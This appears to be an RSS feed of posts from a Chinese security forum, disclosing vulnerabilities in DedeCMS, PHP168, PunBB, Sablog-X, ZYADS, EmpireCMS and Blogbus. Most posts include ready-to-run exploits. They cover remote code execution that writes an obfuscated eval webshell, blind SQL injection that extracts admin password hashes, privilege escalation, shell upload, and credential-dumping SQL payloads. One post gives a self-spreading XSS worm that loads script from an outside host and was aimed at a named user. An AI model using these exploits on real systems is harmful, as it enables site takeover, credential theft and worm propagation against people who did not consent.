<![CDATA[Wolves Security Team]]> http://bbs.wolvez.org/ Sat, 06 Mar 2010 06:10:18 +0000 PunBB <![CDATA[dedecms5.1注入]]> http://bbs.wolvez.org/topic/128/new/posts/ member_guestbook_action.php

$title = cn_substr(html2text($title),60);
$msg = cn_substr(stripslashes($msg),2048);
if($cfg_ml->M_UserName!="" && $cfg_ml->M_ID!=$uidnum) $gid = $cfg_ml->M_UserName;
else  $gid = '';

$inquery = "
   INSERT INTO #@__member_guestbook(mid,gid,title,msg,uname,email,qq,tel,ip,dtime)
   VALUES ('$uidnum','$gid','$title','$msg','$uname','$email','$qq','$tel','".GetIP()."',".mytime().");
";

一般的注射..
cn_substr在别处有别的错.这里无所谓了.

空间留言:
cccccc',(select concat(userid,0x3a,pwd) from #@__admin limit 0,1),'','','','123',123)#

]]> Sat, 06 Mar 2010 06:10:18 +0000 http://bbs.wolvez.org/topic/128/new/posts/ <![CDATA[DEDECMS v5.5 GBK Final 的一个鸡肋漏洞]]> http://bbs.wolvez.org/topic/125/new/posts/ 在session.auto_start开启的情况下可以任意覆盖$_SESSION变量，我们可以伪造管理员登录并上传文件

/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php

上传时重命名为    *.php.
即可绕过检查上传shell

exp:
  <form action="" method='POST' enctype="multipart/form-data">
  U&nbsp;R&nbsp;L:<input type="text" name="target" size="50" value="http://192.168.1.110">&nbsp;&nbsp;
  Path:<input type="text" name="path" value="/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php" size="90"><br>
File:&nbsp;<input type='file' name='uploadfile' size='25' />(Filetype must be GIF/JPEG etc)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      RenameTo:<input type='test' name='newname' value="shell.asp."/><br>
      &nbsp;
    <input type=hidden name="_SESSION[dede_admin_id]" value=1>
        <input type=hidden name="bkurl" value=1>
      <input type='button' value='submit' onclick="fsubmit()"/><br><br><br><br><br><br>
    dedecms 0day exp..<br>
    need: session.auto_start = 1<br>
    By toby57    2010/2/22
  </form>
<script>
function fsubmit(){
    var form = document.forms[0];
    form.action = form.target.value + form.path.value;
    tmpstr = form.target.value +'/'+ form.newname.value;
    form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);
    form.submit();
    }
</script>

]]> Sun, 28 Feb 2010 06:35:11 +0000 http://bbs.wolvez.org/topic/125/new/posts/ <![CDATA[Sablog-X 2.0 后台管理权限欺骗漏洞]]> http://bbs.wolvez.org/topic/124/new/posts/ by Ryat
http://www.wolvez.org
2010-02-24

好久没更新了;p
前不久80vul.com公布了sax2.0的一个漏洞,随后4ngel发布了补丁,不过权限验证部分的代码还是存在问题,下面就来简单说说这个漏洞:D

// cp.php

if (!$sax_uid || !$sax_pw || !$sax_logincount || !$sax_hash) {
// 只要这个条件不满足,就可以通过后台的权限验证了
    loginpage();
}
...
if ($sax_group == 1) {
// 如果要获得管理员权限,还必须保证$sax_group的值为1
...

下面来看下这几个变量是怎么来的

// common.inc.php

list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode("\t", authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', '');
// authcode()就是简单的调用base64_decode
$sax_hash = sax_addslashes($_COOKIE['sax_hash']);
// 这些变量来自$_COOKIE,是可以控制的:)
// 不过后面的代码在一定条件下会通过extract($_EVO)来重新注册这些变量

$sax_uid = intval($sax_uid);
$sax_pw = sax_addslashes($sax_pw);
$sax_logincount = intval($sax_logincount);
$sax_group = 4;
// 默认的值为4,而我们需要的值是1
$_EVO = array();
// 这里是fix那个变量覆盖的漏洞:)

$seccode = $sessionexists = 0;
$userfields = 'u.userid AS sax_uid, u.username AS sax_user, u.password AS sax_pw, u.groupid AS sax_group, u.logincount AS sax_logincount, u.email as sax_email, u.url as sax_url, u.lastpost, u.lastip, u.lastvisit, u.lastactivity';
// 这里定义的字段包括sax_user、sax_pw、sax_group、sax_logincount,这些都是后台权限验证时要用到的
if ($sax_hash) {
    if ($sax_uid && $sax_pw) {
// 流程[1]
// 这里会查询sax_group,但如果我们想让查询出的值为1[也就是说查询出管理员的信息],就必须知道管理员的sax_hash、sax_pw、sax_logincount等多个值
        $query = $DB->query("SELECT s.hash, s.seccode, $userfields
            FROM {$db_prefix}users u
            LEFT JOIN {$db_prefix}sessions s ON (s.uid = u.userid)
            WHERE s.hash='$sax_hash' AND u.userid='$sax_uid' AND CONCAT_WS('.',s.ip1,s.ip2,s.ip3,s.ip4)='$onlineip'
            AND u.password='$sax_pw' AND u.logincount='$sax_logincount' AND s.auth_key='$sax_auth_key'");
    } else {
        $query = $DB->query("SELECT hash,uid as sessionuid,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash='$sax_hash' AND CONCAT_WS('.',ip1,ip2,ip3,ip4)='$onlineip' LIMIT 1");
// 流程[2]
// 如果我们知道管理员的sax_hash和onlineip,就可以使下面的$_EVO['sessionuid']的值为管理员的id
    }
    if ($_EVO = $DB->fetch_array($query)){
        $sessionexists = 1;
        if($_EVO['sessionuid']) {
// 流程[3]
            $query = $DB->query("SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='".intval($_EVO['sessionuid'])."'");
            $_EVO = array_merge($_EVO, $DB->fetch_array($query));
// 这里查询的数据会合并到$_EVO,而我们只要能控制$_EVO['sessionuid']的值为1[假设我们要查询的管理员id为1],就可以查询出正确的管理员信息,这样就可以保证sax_group的值为1了
            $sax_uid = $_EVO['userid'];
        }
    } else {
        if($_EVO = $DB->fetch_one_array("SELECT hash,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash='$sax_hash' AND CONCAT_WS('.',ip1,ip2,ip3,ip4)='$onlineip'")) {
            dcookies();
            $sessionexists = 1;
        }
    }
}
......
@extract($_EVO);

由上面的代码可以看到,如果我们知道session表中uid为1的数据的sax_hash和onlineip,通过流程[2][3]就可以查询出正确的管理员信息,再通过extract($_EVO)注册变量,就可以通过后台的验证,获得管理员权限了:)
那么我们如何知道正确的sax_hash和onlineip呢？

// global.func.php

function updatesession() {
...
        replacesession(1);
...
}
...
function replacesession($insert = 0) {
...
$ips = explode('.', $onlineip);
...
        $DB->query("INSERT INTO {$db_prefix}sessions (hash, auth_key, ip1, ip2, ip3, ip4, uid, groupid, lastactivity, seccode, is_robot) VALUES ('$sax_hash', '$sax_auth_key', '$ips[0]', '$ips[1]', '$ips[2]', '$ips[3]', '$sax_uid', '$sax_group', '$timestamp', '$seccode', '".IS_ROBOT."')");
...

replacesession()函数为我们提供帮助,因为$sax_hash、$sax_uid、$onlineip这些变量是可以控制的,所以我们可以向session表中出入一条uid为1的数据:)

首先我们使$sax_uid为1,$sax_pw为空,这样就会跳过流程[1]执行流程[2],这时我们的sax_hash和onlineip在session表中并不存在,所以流程[3]不会执行,通过extract($_EVO)注册变量时也不会重新注册$sax_uid、$sax_hash和$onlineip,这样我们就可以通过updatesession()函数向session表中插入一条uid为1同时sax_hash和onlineip也是我们知道的数据了
然后我们重新执行上面的过程,因为这时session表里已经有了我们需要的数据了,流程[3]将被执行,user表中uid为1的管理员数据将被查询出并合并到$_EVO,并通过extract()重新注册变量[$sax_group的值将被重新注册为1],这样我们就可以通过后台权限验证,并获得管理员权限了:)

PoC:

GET /cp.php  HTTP/1.1;
Host: 127.0.0.1
Connection: Close
Cookie: sax_auth=MQkJ;sax_hash=abcdef;
]]> Wed, 24 Feb 2010 11:05:19 +0000 http://bbs.wolvez.org/topic/124/new/posts/ <![CDATA[Php168一个即将被补的代码执行?]]> http://bbs.wolvez.org/topic/31/new/posts/ 据可靠线报,有人已发现此相似漏洞[漏洞虽不一样,但在同一个文件,利用了相同的变量]并发在黑防上了,估计官方很快就会发布补丁了吧,那么我这个exp恐怕也会废掉了:)

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Php168 <= v2008 remote code execution exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PHP168"
+---------------------------------------------------------------------------+
');
/**
 * works regardless of php.ini settings
 */
if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to php168
Example:
php '.$argv[0].' localhost /php168/
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$cmd = 'makehtml=1&chdb[htmlname]=${${fputs(fopen(chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(119).chr(111).chr(108).chr(118).chr(101).chr(122).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(112).chr(117).chr(114).chr(101).chr(116).chr(95).chr(116))}}';
$shell = 'http://'.$host.$path.'cache/wolvez.php';
/**
 * wolvez.php has this code:
 * <?eval($_POST[c])?>
 */
send($cmd);

if (!file_get_contents($url) && file_get_contents($shell) == 'puret_t')
    exit("Expoilt Success!\nView Your shell:\t$shell\n");
else 
    exit("Exploit Failed!\n");
    
function send($cmd)
{
    global $host, $path;
    
    $message = "POST ".$path."digg.php  HTTP/1.1\r\n";
    // $message = "POST ".$path."login.php  HTTP/1.1\r\n";
    // $message = "POST ".$path."search.php  HTTP/1.1\r\n";
    // $message = "POST ".$path."sendpwd.php  HTTP/1.1\r\n";
    // $message = "POST ".$path."showsp.php  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    
    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
    
    return $resp;
}

?>
]]> Fri, 01 Jan 2010 15:17:52 +0000 http://bbs.wolvez.org/topic/31/new/posts/ <![CDATA[今年写的几篇老文]]> http://bbs.wolvez.org/topic/113/new/posts/ 已经发表在《黑客防线》，转载请署名版权，谢谢

]]> Wed, 23 Dec 2009 01:38:09 +0000 http://bbs.wolvez.org/topic/113/new/posts/ <![CDATA[绕过'Access Denied']]> http://bbs.wolvez.org/topic/112/new/posts/ heige的百度空间老是掉留言,看着玩插一脚. :)

register_globals = On

<?php
$sqlcontent = "<?PHP exit('Access Denied'); ?>".$p."\n";
file_put_contents($logfile, $sqlcontent);
?>

exp-demo.php?logfile=php://filter/write=convert.base64-decode/resource=abc.php&p=aPD9waHAgcGhwaW5mbygpOy8vPz4=

http://marc.info/?l=full-disclosure& … 71&w=2
base64-decode会掉过不能解码的特殊字符,变成PHPexitAccessDenied,Base64编码要求把3个8位字节（3*8=24）转化为4个6位的字节（4*6=24），保证能顺利解码补齐字符随便加个a补齐20位.

http://docs.php.net/manual/zh/filters.convert.php

]]> Mon, 14 Dec 2009 10:09:40 +0000 http://bbs.wolvez.org/topic/112/new/posts/ <![CDATA[PunBB官方上传附件扩展注射漏洞]]> http://bbs.wolvez.org/topic/98/new/posts/ by Ryat
http://www.wolvez.org
2009-10-24

本来想给论坛加个上传附件的功能，从官方网站下了个pun_attachment，顺便看了下代码，结果发现了这个漏洞:p

if (isset($_GET['secure_str']))
{
    if (preg_match('~(\d+)f(\d+)~', $_GET['secure_str'], $match))
    {
    ...
            'WHERE'        => 'a.id = '.$attach_item.' AND (fp.read_forum IS NULL OR fp.read_forum = 1) AND secure_str = \''.$_GET['secure_str'].'\''

           
挺明显的，应该是对正则表达式及preg_match函数的误用，导致可以通过$_GET['secure_str']来触发sql inj...

另外，在pun_list_attach.php文件还有个注射，不过需要后台权限，有兴趣的同学自己看，那个要更明显些:)

最后给个PoC性质的EXP，具体效果和利用方式就别问我了...

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Punbb Extension Attachment <= v1.0.2 Bind SQL injection exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PunBB"
+---------------------------------------------------------------------------+
');
/**
 * works regardless of php.ini settings
 */
if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to punbb
Example:
php '.$argv[0].' localhost /punbb/
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$pre = 'pun_';

$benchmark = 200000000;
$timeout = 10;

echo "Plz Waiting...\nPassword:\n";
/**
 * get pass
 */
$j = 1;
$pass = '';

$hash[0] = 0; //null
$hash = array_merge($hash, range(48, 57)); //numbers
$hash = array_merge($hash, range(97, 122)); //a-z letters

while (strlen($pass) < 40) {
    for ($i = 0; $i <= 255; $i ++) {
        if (in_array($i, $hash)) {
            $cmd = '1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20password%20FROM%20'.$pre.'users%20WHERE%20group_id=1%20LIMIT%201),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))%23';
            send();
            usleep(2000000);
            $starttime = time();
            send();
            $endtime = time();
            $difftime = $endtime - $starttime;
            if ($difftime > $timeout) {
                $pass .= chr($i);
                echo chr($i);
                break;
            }
        }
        if ($i == 255)
            exit("\nExploit Failed!\n");
    }
    $j ++;
}

echo "\nSalt:\n";
/**
 * get salt
 */
$j = 1;
$salt = '';

$hash[0] = 0; //null
$hash = array_merge($hash, range(33, 126));

while (strlen($salt) < 12) {
    for ($i = 0; $i <= 255; $i ++) {
        if (in_array($i, $hash)) {
            $cmd = '1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20salt%20FROM%20'.$pre.'users%20WHERE%20group_id=1%20LIMIT%201),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))%23';
            send();
            usleep(2000000);
            $starttime = time();
            send();
            $endtime = time();
            $difftime = $endtime - $starttime;
            if ($difftime > $timeout) {
                $salt .= chr($i);
                echo chr($i);
                break;
            }
        }
        if ($i == 255)
            exit("\nExploit Failed!\n");
    }
    $j ++;
}
        
exit("\nExpoilt Success!\nPassword Hash:\t$pass\nSalt:\t$salt\n");

function send()
{
    global $host, $path, $cmd;

    $data = "GET ".$path."misc.php?item=1&secure_str=".$cmd."  HTTP/1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "Connection: Close\r\n\r\n";

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>
]]> Mon, 26 Oct 2009 16:31:45 +0000 http://bbs.wolvez.org/topic/98/new/posts/ <![CDATA[中易广告联盟系统(ZYADS) sql注入和本地包含漏洞]]> http://bbs.wolvez.org/topic/49/new/posts/ 中易广告联盟系统(ZYADS) sql注入和本地包含漏洞

在index/news.php 1-31行

<?
include_once("top.php");

      $newsid = intval($_GET['id']);
      
      $to_type = addslashes($_GET['type']);
      
      if ($to_type=='index')
      {
          $to_type_s =" and to_type=1";
      }
      
       if ($to_type=='webuser')
      {
          $to_type_s =" and to_type!=3";
      }
      
       if ($to_type=='webadver')
      {
          $to_type_s =" and to_type!=2";
      }
      
      $newssql = 'select * from zyads_news WHERE `id` =\'' . $newsid . '\' 

'.$to_type_s.'';
    
      $newsre=$db->query($newssql);
      $newsrow = $db->fetch_array($newsre);
      if (empty($newsrow)){

        zyads_message('zyads_news');
      }
?>

可以看到$to_type没定义或者不等于index，webuser，webadver的话 那么$to_type_s是没有定义的

这时候我们就可以提交一个$to_type_s变量来进行sql注入。简单的注入，呵呵。

在/code/adview_cpa_html.php 1-46行

<?php
/*********************/
/*                   */
/*  Version : 5.1.0  */
/*  Author  : RM     */
/*  Comment : 071223 */
/*                   */
/*********************/

_obfuscate_JQYdYn1jfBI( );
define( "IN_ZYADS", TRUE );
$name = $_GET['name'];
$adid = $_GET['adid'];
$offsetwidth = $_GET['offsetwidth'];
$site = $_GET['site'];
$click_url = "http://www.erzhi.cn";
$count_url = "http://www.erzhi.cn";
if ( empty( $name ) || empty( $adid ) || empty( $site ) )
{
        exit( "广告出错" );
}
@require( "../user/c/".$name."/user_info.php" );
require( "../include/soft_class.php" );
require( "../include/settings.php" );
$code = new _obfuscate_Y2xpZW50( );
$getip = $code->_obfuscate_Z2V0aXA( );
$getbrowse = $code->_obfuscate_Z2V0YnJvd3Nl( );
$getos = $code->_obfuscate_Z2V0b3M( );
$maketime = time( ) + $setting['zyads_date'] * 3600;
$maketime = $maketime;
$strbas = $code->_obfuscate_cGFzc3BvcnRfZW5jcnlwdA( 

$getip."|".$maketime."|".$getbrowse."|".$getos, $setting['url_pwd'] );
$strbas = _obfuscate_IGI7aGd_LDRuMD0VZg( $strbas );
if ( $zyads_users['flag'] != 2 )
{
        echo "document.write('帐号被锁定');";
        exit( );
}
if ( _obfuscate_Cx96BhhwZxABPA8( "../cache/cpa/".$adid.".php" ) )
{
        require( "../cache/cpa/".$adid.".php" );
}
else
{
        exit( "文件丢失-".$adid.".php" );
}

$name，$adid这两个变量都能造成本地包含漏洞

不过$adid好利用点。

exp：/code/adview_cpa_html.php?name=admin&adid=../../index&site=www.xxx.com

最后附上一个exp，只是简单的cookie提交参数  为了隐蔽点 呵呵

<?php
//by q1ur3n
//team: http://www.wolvez.org
//exp : zyads.php?site=www.tx8688.com&id=and 1=2 union select 1,2,3,4,5,6%23
//敏感信息表信息：
/*
DROP TABLE IF EXISTS zyads_admin;
CREATE TABLE zyads_admin (
   id int(11) NOT NULL auto_increment,
   username varchar(20) NOT NULL,
   pwd varchar(50) NOT NULL,
   login_num int(11) NOT NULL,
   last_time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,
   islock int(1) NOT NULL,
   ip varchar(20) NOT NULL,
   admin_flag varchar(200) NOT NULL,
   addtime datetime NOT NULL,
   PRIMARY KEY (id)
);

*/

$host = $_GET['site'];
$cmd='to_type_s='.urlencode(stripcslashes($_REQUEST["id"]));

$message = "GET /index/news.php?id=89  HTTP/1.1\r\n";
$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-

shockwave-flash, */*\r\n";
$message .= "Referer: http://www.baidu.com/\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Connection: Close\r\n";
$message .= "Cookie: ".$cmd."\r\n\r\n";
//echo $message;
       
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
echo $resp;
fclose($fp);
       
?>

这程序是商业程序，没得下载。大家别传出去。

]]> Wed, 21 Oct 2009 04:55:35 +0000 http://bbs.wolvez.org/topic/49/new/posts/ <![CDATA[Bypass Magic Quote&Xss?]]> http://bbs.wolvez.org/topic/92/new/posts/ BY Jackal
http://www.wolvez.org
http://www.delover.net
2009-07-25

在此感谢下黑病毒:)

看跨站的时候出现的一段代码:

demo.php

<?php

$message=$_GET['c'];
echo "<ul><li>".$message."</li>";
if(strpos($message, '[/c]') !== FALSE) {
    $message1 = preg_replace("/\[c](.+?)\[\/c\]/is", "\\1", $message);
}

echo "<li>".$message1."</li>";

if(strpos($message, '[/c]') !== FALSE) {
    $message2 = preg_replace("/\[c](.+?)\[\/c\]/ies", "parse_c('\\1')", $message);
}


echo "<li>".$message2."</li></ul>";

function parse_c($text) {
        return $text;
}

?>

提交:demo.php?c=[c]test"[/c]
开启Magic的情况下:

返回数据:

  1. [c]test\"[/c]

  2. test\"

  3. test\\"

最后一个出现了问题.


再来就是跨站了:

<a href=\\"http://delover.net onmouseover=alert(/xss/) \\">Xss</a>
<a href=\"http://delover.net onmouseover=alert(/xss/) \">Xss</a>

用UBB这玩意很容易出现问题.

]]> Sat, 25 Jul 2009 13:36:37 +0000 http://bbs.wolvez.org/topic/92/new/posts/ <![CDATA[Php168 v6 权限提升漏洞]]> http://bbs.wolvez.org/topic/89/new/posts/ by Ryat
http://www.wolvez.org
2009-07-17

天天上班,好久没在论坛发贴了...

以前发过一个php168 v2008的权限提升漏洞,这次的漏洞也出在相同的代码段
直接给出exp,里面的一些细节还是有些意思的,有兴趣的同学可以自行分析:)

EXP:

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Php168 v6.0 update user access exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PHP168 V6.0"
+---------------------------------------------------------------------------+
');
/**
 * works regardless of php.ini settings
 */
if ($argc < 5) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path user pass
host:      target server (ip/hostname)
path:      path to php168
user:      login username
pass:      login password
Example:
php '.$argv[0].' localhost /php168/ ryat 123456
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];

$resp = send();
preg_match('/Set-Cookie:\s(passport=([0-9]{1,4})%09[a-zA-Z0-9%]+)/', $resp, $cookie);

if ($cookie)
    if (strpos(send(), 'puret_t') !== false)
        exit("Expoilt Success!\nYou Are Admin Now!\n");
    else 
        exit("Exploit Failed!\n");
else
    exit("Exploit Failed!\n");
    
function rands($length = 8)
{
    $hash = '';
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $max = strlen($chars) - 1;
    mt_srand((double)microtime() * 1000000);
    for ($i = 0; $i < $length; $i++)
        $hash .= $chars[mt_rand(0, $max)];

    return $hash;
}

function send()
{
    global $host, $path, $user, $pass, $cookie;
    
    if ($cookie) {
        $cookie[1] .= ';USR='.rands()."\t31\t\t";
        $cmd = 'memberlevel[8]=1&memberlevel[9]=1&memberlevel[3,introduce%3D0x70757265745f74]=-1';
    
        $message = "POST ".$path."member/homepage.php?uid=$cookie[2]  HTTP/1.1\r\n";
        $message .= "Accept: */*\r\n";
        $message .= "Accept-Language: zh-cn\r\n";
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
        $message .= "Host: $host\r\n";
        $message .= "Content-Length: ".strlen($cmd)."\r\n";
        $message .= "Connection: Close\r\n";
        $message .= "Cookie: ".$cookie[1]."\r\n\r\n";
        $message .= $cmd;
    } else {
        $cmd = "username=$user&password=$pass&step=2";
        
        $message = "POST ".$path."do/login.php  HTTP/1.1\r\n";
        $message .= "Accept: */*\r\n";
        $message .= "Accept-Language: zh-cn\r\n";
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
        $message .= "Host: $host\r\n";
        $message .= "Content-Length: ".strlen($cmd)."\r\n";
        $message .= "Connection: Close\r\n\r\n";
        $message .= $cmd;
    }
    
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    
    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
    
    return $resp;
}

?>
]]> Fri, 17 Jul 2009 15:50:54 +0000 http://bbs.wolvez.org/topic/89/new/posts/ <![CDATA[EmpireCMS 5.1 多个垃圾注射漏洞]]> http://bbs.wolvez.org/topic/58/new/posts/ EmpireCMS 5.1 有个过滤函数没处理好\，可能导致产生多处垃圾类型的注射漏洞

比如留言处注射：

e/tool/gbook/?bid=1

姓名： 縗\

邮箱：,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*

电话和留言内容随便写，提交完了就可以看到密码了

代码和exp就不贴了

]]> Mon, 29 Jun 2009 02:49:36 +0000 http://bbs.wolvez.org/topic/58/new/posts/ <![CDATA[Blogbus蠕虫]]> http://bbs.wolvez.org/topic/81/new/posts/ 本来以为很简单的。测试碰到了不少问题。
后台管理为：http://www.blogbus.com/user/
前台XSS为：http://xxx.blogbus.com
需要跨域。直接试用COOKIE提交缺少session_id.
博客主页cookie：

---------------------------
Windows Internet Explorer
---------------------------
__utma=269084194.42081505.1243533426.1243533426.1243538283.2; __utmz=269084194.1243533426.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); valid=blogbus.com; bus_xuid=4856367; __utmb=269084194; __utmc=269084194; bus_uid=4856367; cmt_homepage=http%3A%2F%2F
---------------------------
确定   
---------------------------

后台cookie：

---------------------------
Windows Internet Explorer
---------------------------
blogbus_as_hash=4be67586fb028479bc7c8e8d105d37a6; __utma=269084194.42081505.1243533426.1243533426.1243538283.2; __utmz=269084194.1243533426.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); valid=blogbus.com; bus_xuid=4856367; __utmb=269084194; __utmc=269084194; bus_uid=4856367; cmt_homepage=http%3A%2F%2F; bus_sessid=bf414d9e43c1a75274de5ab2c09567db
---------------------------
确定   
---------------------------

偷懒找到一个非持久的XSS，刚好cookie里包含了session_id

http://www.blogbus.com/skin/?style=< … script>

后面就简单了：
http://www.blogbus.com/user/?mm=Setting
页面允许写入任意JS。前台执行。我们一个隐藏框架将非持久传唤为持久。

最后贴上exp，很多bug，写的匆忙，将所有的选项都直接修改了。

<iframe style="display:none" src="http://www.blogbus.com/skin/?style=<SCRIPT%20src='http://www.delover.net/bus.js'></SCRIPT>"></iframe>

bus.js

function createAjax() {
    var _xmlhttp;
    try {
        _xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    catch (e) {
        try {
            _xmlhttp=new XMLHttpRequest();
        }
        catch (e) {
            _xmlhttp=false;
        }
    }
    return _xmlhttp;
}

//javascript:alert(document.cookie)

function GetTag() {
    var xmlhttp=createAjax();
    if (xmlhttp) {
        xmlhttp.open('get','/user/?blogid=4884256&mm=Setting&n='+Math.random(),true);
        xmlhttp.onreadystatechange=function() {
            if (xmlhttp.readyState==4 && xmlhttp.status==200) {
                if (unescape(xmlhttp.responseText).indexOf("www.blogbus.com/skin")>=0 || unescape(xmlhttp.responseText).indexOf("img_regbtn.gif")>=0){
                    //传播过了
                }else{
                    AddNew();
                }
            }
        }
        xmlhttp.send(null);
    }
}

function AddNew() {
    var xmlhttp=createAjax();
    if (xmlhttp) {    

        var GuestInfo="BlogName=jackal&Description=jackal&AccessPwd=&Meta=%3Ciframe+style%3D%22display%3Anone%22+src%3D%22http%3A%2F%2Fwww.blogbus.com%2Fskin%2F%3Fstyle%3D%3CSCRIPT%2520src%3D%27http%3A%2F%2Fdelover.net%2Fbus.js%27%3E%3C%2FSCRIPT%3E%22%3E%3C%2Fiframe%3E&Submit=%E4%BF%9D%E5%AD%98%E8%AE%BE%E7%BD%AE";
        //debug
        //alert(GuestInfo);
        xmlhttp.open('post','/user/?mm=Setting&aa=Save&n='+Math.random(),true);
        xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        xmlhttp.onreadystatechange=function() {
            if (xmlhttp.readyState==4 && xmlhttp.status==200) {
                //alert(unescape(xmlhttp.responseText));
            }
        }
        xmlhttp.send(GuestInfo);
    }
}

GetTag();

测试地址：http://delover.blogbus.com/

等待秋MM中招。。:)

]]> Tue, 09 Jun 2009 07:54:27 +0000 http://bbs.wolvez.org/topic/81/new/posts/ <![CDATA[DedeCMSV53任意变量覆盖漏洞]]> http://bbs.wolvez.org/topic/80/new/posts/ 今天看到mr_xhming同学一个文章（http://hi.baidu.com/mr_xhming/blog/item/8176f00bf540f11795ca6b3f.html），发现这个老BUG还没被修补的样子，从内部论坛转一个pp出来，欢迎大家拍砖

DedeCMSV53任意变量覆盖漏洞

BY flyh4t
http://www.wolvez.org
2008-12-12

DedeCMSV53发布了，但是依旧没有将变量覆盖漏洞彻底修补。这个漏洞和ryat那个很相似 :)
看核心文件include/common.inc.php中的代码

//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
    if( strlen($_k)>0 && eregi('^(_|cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )//程序员逻辑混乱了？
    {
        exit('Request var not allow!');
    }
}

这个地方可以通过提交_COOKIE变量绕过cfg_等关键字的过滤
接着是注册变量的代码

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

然后初始化变量


//数据库配置文件
require_once(DEDEDATA.'/common.inc.php');

//系统配置参数
require_once(DEDEDATA."/config.cache.inc.php");

看似不能利用了，但是幸运的是在文件最后有这样一段代码

//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}

再看uploadsafe.inc.php给我们提供了什么

$keyarr = array('name','type','tmp_name','size');

foreach($_FILES as $_key=>$_value)
{
    foreach($keyarr as $k)
    {
        if(!isset($_FILES[$_key][$k]))
        {
            exit('Request Error!');
        }
    }
    $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']);
             //注意这个地方，通过common.inc.php的漏洞，我们是可以控制$_FILES[$_key]['tmp_name'] 的

这里通过提交类似common.inc.php?_FILES[cfg_xxxx][tmp_name] =aaaaaa&……来覆盖cfg_xxxx
